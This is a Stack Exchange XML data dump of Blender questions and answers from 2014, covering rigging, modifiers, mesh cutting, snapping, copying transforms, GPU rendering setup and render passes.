  <row Id="7372" PostTypeId="1" AcceptedAnswerId="7519" CreationDate="2014-02-27T11:59:31.297" Score="9" ViewCount="3912" Body="&lt;p&gt;I'm trying to rig a model of a Peaucellier-Lipkin mechanical linkage.  While inverse kinematics for a chain of bones in the armature works well for some of the linkage, I don't see how to create the closed loop portion.  There must be some way to constrain the tails of two bones to stay together, but I am having trouble finding it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have so far.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xUKak.png&quot; alt=&quot;Screenshot of Blender 2.69 with armature for PLL&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2611" LastActivityDate="2016-11-17T01:26:31.047" Title="How can a mechanical linkage with a closed loop be rigged?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7373" PostTypeId="1" AcceptedAnswerId="8225" CreationDate="2014-02-27T13:11:09.383" Score="0" ViewCount="166" Body="&lt;p&gt;I have coded a Blender animation's bones to move while the BGE is running. I made an &lt;em&gt;Always&lt;/em&gt; sensor run code in a module that changes the bones using &lt;code&gt;rotation_euler&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine in the embedded player (the bones change xyz positions as instructed), but not in the standalone player.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="1363" LastEditDate="2014-05-01T17:30:12.953" LastActivityDate="2014-05-01T17:31:00.237" Title="Bone not moving in standalone player" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7374" PostTypeId="1" AcceptedAnswerId="7392" CreationDate="2014-02-27T13:54:29.907" Score="0" ViewCount="278" Body="&lt;p&gt;The idea of making 3D animations to tell stories has always been attractive to me. Yesterday, I decided to stop hesitating and began learning to use Blender. I am using the YouTube channel tutor4u's tutorials on how to make an alarm clock and how to animate it. I hope to achieve a basic idea of modeling, so then I can make models to animate, which I also hope to learn. I also plan to learn shading and coloring to make it look nice. So far, it is going smoothly, but I feel like as soon as I finish the tutorials, I'll be stuck, and anything I want to make will still be too complex. Simply put: I feel like I'm going to run into a wall trying to learn Blender. Am I worrying too much? Am I learning Blender right? Where do I go after a few tutorials?&#xA;&lt;p&gt;&#xA;&lt;em&gt;Side Note: I'm not asking specifically for tutorials. I'm asking for the most efficient way to learn Blender. I think adding the name of the tutorial I am using would be relevant.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2613" LastEditorUserId="2613" LastEditDate="2014-02-27T14:10:22.507" LastActivityDate="2014-02-27T18:37:39.803" Title="I'm trying to learn Blender to animate. Am I doing it right?" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-02-28T00:51:53.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="7375" PostTypeId="1" AcceptedAnswerId="7384" CreationDate="2014-02-27T13:58:38.830" Score="4" ViewCount="8783" Body="&lt;p&gt;i want to have a couple of spheres from small to big along a curve/spline. Is there an easy way with modifiers etc. to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="2614" LastActivityDate="2014-02-27T19:08:18.303" Title="Changing Size from small to big in array or duplication" Tags="&lt;bezier-curves&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7376" PostTypeId="1" AcceptedAnswerId="7383" CreationDate="2014-02-27T14:16:02.707" Score="5" ViewCount="3899" Body="&lt;p&gt;I need to know how to cut a shape up into separate sections, for example, how can I cut a cylinder in half, so that I can animate the different sections pivot points, thus the cylinder opens out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a cube before I've been able to just duplicate it 7 times, however with a cylinder I need it split in half and into other smaller sections. &lt;/p&gt;&#xA;" OwnerUserId="2523" LastEditorUserId="696" LastEditDate="2014-02-27T14:28:18.097" LastActivityDate="2014-02-27T17:23:37.557" Title="Breaking a cylinder into sections in blender" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7377" PostTypeId="2" ParentId="7370" CreationDate="2014-02-27T14:41:32.323" Score="2" Body="&lt;p&gt;Maybe I'm reading this wrong, but, it looks like you just need to select both objects, and connect the sensor from objectB to a controller from objectA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xx3wl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2014-02-27T14:41:32.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7378" PostTypeId="1" CreationDate="2014-02-27T14:58:09.933" Score="15" ViewCount="5353" Body="&lt;p&gt;Are there solutions / best practices for dealing with the &lt;strong&gt;Version Management Problem&lt;/strong&gt; when working on larger blender Projects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt;: Version management means to keep track of &lt;em&gt;who&lt;/em&gt; did &lt;em&gt;what&lt;/em&gt;, &lt;em&gt;when&lt;/em&gt; and &lt;em&gt;why&lt;/em&gt;. Blender is a huge GUI driven application, but the work done in blender is typically comparable in complexity with the task of developing software. In such a setup, it is no longer possible to keep track of changes just by looking into the GUI. To be able to work effectively, we need tool support to answer the mentioned questions on a daily basis.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;are there better solutions available than just checking in the blend file as a binary blob into some SCM system (Git, Mercurial, SVN, ...)?&lt;/li&gt;&#xA;&lt;li&gt;maybe there are specific filters or exporters available which allow to transform the blend files into something which &lt;em&gt;can&lt;/em&gt; be version managed with the tools known from software development?&lt;/li&gt;&#xA;&lt;li&gt;branching and merging: are there tools or known methods to integrate changes done by different people working in a team on a common project, but possibly on different branches or development lines?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course binary diffs in images and video footage are also relevant, but there isn't much to be done with these, beyond just noting that you're using a new version of some externally linked binary media.&lt;/p&gt;&#xA;" OwnerUserId="2615" LastEditorUserId="2615" LastEditDate="2014-03-03T01:58:42.147" LastActivityDate="2015-11-22T21:53:01.567" Title="diff and version manage blender work" Tags="&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7379" PostTypeId="1" AcceptedAnswerId="7385" CreationDate="2014-02-27T15:08:34.760" Score="3" ViewCount="1915" Body="&lt;p&gt;I use Blender with my iMac Late 2012 and I have the graphics card NVIDIA GeForce GTX 660M. In the internet it says, that this graphics card has CUDA but however I cannot change the 'Compute Device' in my User Preferences.&#xA;Anyone an idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWNe0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="599" LastEditDate="2014-02-28T22:01:18.753" LastActivityDate="2014-02-28T22:01:18.753" Title="Cannot change to GPU Rendering" Tags="&lt;rendering&gt;&lt;customization&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2014-02-27T20:16:17.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="7380" PostTypeId="2" ParentId="7309" CreationDate="2014-02-27T15:44:21.817" Score="4" Body="&lt;p&gt;You could group all the brains (Ctrl-G) and then use the brain group in a particle system on a grid which emits from each vertex. Make sure the number of vertices = number of particles. Also be sure to display your models as bounds only, otherwise Blender will try to draw all the detail in viewport. Using a particle system allows me to draw forests of complex trees, so I think brains should work too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture you see the group of objects in the front and the result of a particle system on a subdivided grid emitting from each vertex in the background.&lt;img src=&quot;https://i.stack.imgur.com/UUjhr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="1390" LastEditDate="2014-02-27T16:09:41.907" LastActivityDate="2014-02-27T16:09:41.907" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="7381" PostTypeId="2" ParentId="7368" CreationDate="2014-02-27T16:12:40.940" Score="3" Body="&lt;p&gt;You can snap the cursor to the grid and add a plane at the cursor, merge all points of the plane into a single vertex. Than you can use vertex snap to snap the geometry to the plane.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Place the cursor some place near the grid point you wish to snap the geometry to.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AGOyD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Snap the cursor to the grid point&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ks1t7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Add a plane whilst still in edit mode. With the plane selected merge all vertices at center&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BkKqC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Now use vertex snap to snap your geometry to the vertex.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZZRFH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Make sure to delete the vertex when you are done with it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20151001020800/http://www.pasteall.org/pic/show.php?id=67513&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20151001020800/http://www.pasteall.org/pic/show.php?id=67513&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="32220" LastEditDate="2021-01-15T22:59:56.533" LastActivityDate="2021-01-15T22:59:56.533" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="7383" PostTypeId="2" ParentId="7376" CreationDate="2014-02-27T16:38:35.140" Score="6" Body="&lt;p&gt;There are several ways to do so. As you mentioned, if you really need to fill sections after cutting, I would suggest a tricky way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a mesh that contains expected sections. Add &lt;strong&gt;Solidify&lt;/strong&gt; modifier to this mesh, set &lt;em&gt;Thickness&lt;/em&gt; to &lt;code&gt;0.00001&lt;/code&gt;. You can leave other options as default;&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;strong&gt;Boolean&lt;/strong&gt; modifier to cylinder, set &lt;em&gt;Operation&lt;/em&gt; to &lt;strong&gt;Difference&lt;/strong&gt;, and &lt;em&gt;Object&lt;/em&gt; to the section mesh. Then press &lt;strong&gt;Apply&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Delete the section mesh, &lt;kbd&gt;Tab&lt;/kbd&gt; into cylinder object, select all elements, &lt;kbd&gt;P&lt;/kbd&gt;&gt;&lt;kbd&gt;By loose parts&lt;/kbd&gt; to separate each sections apart;&lt;/li&gt;&#xA;&lt;li&gt;If you want to recalculate their origins, just &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; Origin to Geometry.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T8o6X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt;&#xA;In the &lt;a href=&quot;http://download.blender.org/release/Blender2.70/&quot; rel=&quot;nofollow noreferrer&quot;&gt;latest version&lt;/a&gt; (the coming 2.70), &lt;strong&gt;Boolean&lt;/strong&gt; modifier supports ngons, which will generate better and cleaner result.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-27T17:23:37.557" LastActivityDate="2014-02-27T17:23:37.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7384" PostTypeId="2" ParentId="7375" CreationDate="2014-02-27T16:45:35.627" Score="5" Body="&lt;p&gt;Yes you can do this using modifiers. You need an array and curve modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJUUJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a curve&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a sphere&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty (plain axis)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select Sphere and add an array modifier&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;turn off Relative Offset&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;enable Object Offset and chose the empty&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;move the empty along a axis (possibly the positive x-axis)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;scale the empty down a bit, you should see the spheres get smaller towards the end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oc4XR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the sphere and add a curve modifier to it. Choose your curve&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Depending on the orientation of the curve and the translation of the empty the array may look wrong. In this case move the empty along the other axis. You can also apply the transforms of the sphere and the curve using &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z9Ru8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-27T19:08:18.303" LastActivityDate="2014-02-27T19:08:18.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7385" PostTypeId="2" ParentId="7379" CreationDate="2014-02-27T16:51:07.523" Score="4" Body="&lt;p&gt;I found a CUDA driver for Mac's on this site of &lt;a href=&quot;http://www.nvidia.de/object/mac-driver-archive-de.html&quot; rel=&quot;nofollow&quot;&gt;NVIDIA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="2357" LastEditDate="2014-02-27T20:13:31.697" LastActivityDate="2014-02-27T20:13:31.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7386" PostTypeId="2" ParentId="7368" CreationDate="2014-02-27T17:10:23.083" Score="8" Body="&lt;p&gt;You can &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt; to toggle Quad View, then click to the nearest grid crossing to place 3D Cursor there, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;strong&gt;Cursor to Grid&lt;/strong&gt; to snap the 3D Cursor in two of the side views (to snap it precisely to the grid dimension as you want). Then, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;strong&gt;Selection to Cursor (Offset)&lt;/strong&gt; to offset the selection to the 3D Curor, without collapsing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I7O6D.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Snapping cursor to grid currently depends much on the view zooming, in other words, the visual grid scale, so, if it cannot be easily snapped to the crossing, just give it another try after zooming in or out.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; For your concern in the comment, you can temporarily add an empty to assist snapping:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jvBss.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-28T04:05:19.093" LastActivityDate="2014-02-28T04:05:19.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7387" PostTypeId="1" CreationDate="2014-02-27T17:27:16.837" Score="1" ViewCount="408" Body="&lt;p&gt;I have two identical characters, with a test Idle action set, in blender game engine. Both plays in viewport, but when I run the game only the appended one plays it action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is halting my development since I would preferable use external .blend files containing characters etcetera so I can keep on developing/animating on a specific character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out this video to better understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://instagram.com/p/k7XjakI79x/&quot; rel=&quot;nofollow&quot;&gt;http://instagram.com/p/k7XjakI79x/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2014-09-09T13:58:49.683" Title="Linked Object (proxy) does not play actions in Blender Game Engine" Tags="&lt;game-engine&gt;&lt;linked-data&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7388" PostTypeId="1" CreationDate="2014-02-18T09:08:58.137" Score="35" ViewCount="50510" Body="&lt;p&gt;I want an object to have the same Transforms (location, rotation, and scale) as another object. How can I copy the Transforms from one object to another?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BBOLu.jpg&quot; alt=&quot;Blender&quot; /&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user3091970" LastEditorUserId="107365" LastEditDate="2021-01-16T15:06:36.323" LastActivityDate="2021-01-16T15:06:36.323" Title="Copy transforms from one object to another" Tags="&lt;transforms&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="7390" PostTypeId="2" ParentId="7388" CreationDate="2014-02-21T04:45:24.257" Score="3" Body="&lt;p&gt;The Location, Rotation and Scale used for each object is available in the object properties. You can easily copy and paste each setting to get two objects lined-up. &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; work with the cursor over a value, you don't need to edit and select each value to copy and paste them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cCAj0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same values are also available in the Properties Sidebar in the 3DView which you can view by pressing &lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this will align each object based on the location of the objects Origin Point. This point may not be located where you expect and can be adjusted. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot; rel=&quot;nofollow noreferrer&quot;&gt;See the manual on object centre&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-02-21T04:45:24.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7391" PostTypeId="2" ParentId="7388" CreationDate="2014-02-27T18:08:58.130" Score="42" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object you wish to move&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While the First object is selected, SHIFT Select the other object&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the transforms panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0BUbf.png&quot; alt=&quot;transform area&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click in the Location properties&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy to selected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Note: You only need to do this for one of the axis, blender will automatically do the other axis as well&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J9Dfu.png&quot; alt=&quot;menu&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat step 4 for Rotation and Scale&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="77139" LastEditDate="2020-02-29T22:15:01.363" LastActivityDate="2020-02-29T22:15:01.363" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="7392" PostTypeId="2" ParentId="7374" CreationDate="2014-02-27T18:37:39.803" Score="1" Body="&lt;p&gt;Yes, you are doing it right. It's kind of like learning to walk, starting with support from another person. The first time they let you go, you will fall. Get up again and continue trying.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-02-27T18:37:39.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7393" PostTypeId="1" CreationDate="2014-02-27T19:38:33.113" Score="1" ViewCount="57" Body="&lt;p&gt;I want to export a selection of objects as .obj. I want each object as its own .obj. Is there a way to export individual .obj for each object selected? There does not seem to be an python reference for exporting, nor is a command echoed when I export a single .obj&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tOy5U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="12" LastEditDate="2014-02-27T19:54:08.540" LastActivityDate="2014-02-27T19:54:08.540" Title="Export separate objects as separate .obj" Tags="&lt;export&gt;&lt;objects&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-02-27T19:47:56.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="7394" PostTypeId="1" CreationDate="2014-02-27T19:57:14.807" Score="2" ViewCount="759" Body="&lt;p&gt;I created a tank turret and I was wondering if there was a way to create script or a &quot;property&quot; for firing the turret instead of animating it firing each time manually (telling it to reload shells (visible to viewer), create smoke, create shell, add physics to said shell, add recoil that is based on turret angle, etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, are there any examples that I could watch/read to understand it a bit better?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="599" LastEditDate="2014-02-28T00:02:28.750" LastActivityDate="2014-08-15T18:14:08.830" Title="Create reusable action/animation?" Tags="&lt;scripting&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7395" PostTypeId="1" AcceptedAnswerId="7404" CreationDate="2014-02-27T21:53:43.840" Score="13" ViewCount="1583" Body="&lt;p&gt;What is the difference between Depth of Field rendered at render time (3d) compared to Depth of Field created in post (2d). Both are depth of field, they look very similar if not the same. 2d depth of field has the advantage of being faster to compute and being and you can easily change what part is in focus, whereas if you use 3d depth of filed and you want to change it after then render you have to start over.&#xA;I am primarily focusing on cycles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5z2Lp.png&quot; alt=&quot;Image from Arnold Render documentation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2217" LastEditDate="2014-08-05T22:54:45.537" LastActivityDate="2015-04-11T20:40:16.490" Title="2d vs 3d Depth of Field" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7396" PostTypeId="1" AcceptedAnswerId="7410" CreationDate="2014-02-27T22:57:57.233" Score="3" ViewCount="455" Body="&lt;p&gt;It would seem that the answer at least partially no, as rendering a simple cube scene with no passes enabled takes 3 seconds, while with all passes enabled takes 9 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always imagined that blender rendered the image and while doing so gathered all the information needed for the various passes, then only saved the passes enabled in &lt;em&gt;Renderlayers &gt; Passes&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the case? If not, what does blender actually do?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-28T04:48:49.617" LastActivityDate="2014-02-28T16:30:44.807" Title="Are render passes always rendered?" Tags="&lt;rendering&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7397" PostTypeId="1" AcceptedAnswerId="7398" CreationDate="2014-02-27T23:44:52.723" Score="8" ViewCount="5299" Body="&lt;p&gt;A world position pass is a pass used for composting other elements into the scene after the initial render. In a world position pass the R, G, B values correspond to the X, Y, Z axis (or X, Z, Y). A world position pass could look something like this. (Image form another 3d app)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pbIyY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to render out corresponding world space coordinates of each pixel?&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2217" LastEditDate="2014-05-07T13:49:11.820" LastActivityDate="2014-05-07T13:49:11.820" Title="How to render world position pass" Tags="&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7398" PostTypeId="2" ParentId="7397" CreationDate="2014-02-27T23:51:17.043" Score="13" Body="&lt;p&gt;Yes, this is possible using the following node setup (click for larger image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0hjCv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hjCv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the coordinates are the same as the channels (click for larger image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qsPvA.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qsPvA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the screenshot above the RGB values are slightly different from the coordinates displayed in the &lt;em&gt;Properties panel&lt;/em&gt; because those coordinates are measured at the object origin and the RGB channels represent the coordinates at the objects surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the colors will be different than in your screenshot because blender uses Z (blue) up and it appears that the screenshot is of a Y (green) up space. Aside from rotating your actual geometry, you can remap the colors in the node setup (click for larger image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9Xlkd.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Xlkd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the colors will match your screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v9BlZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9BlZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27146&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-28T04:23:15.563" LastActivityDate="2014-02-28T04:23:15.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
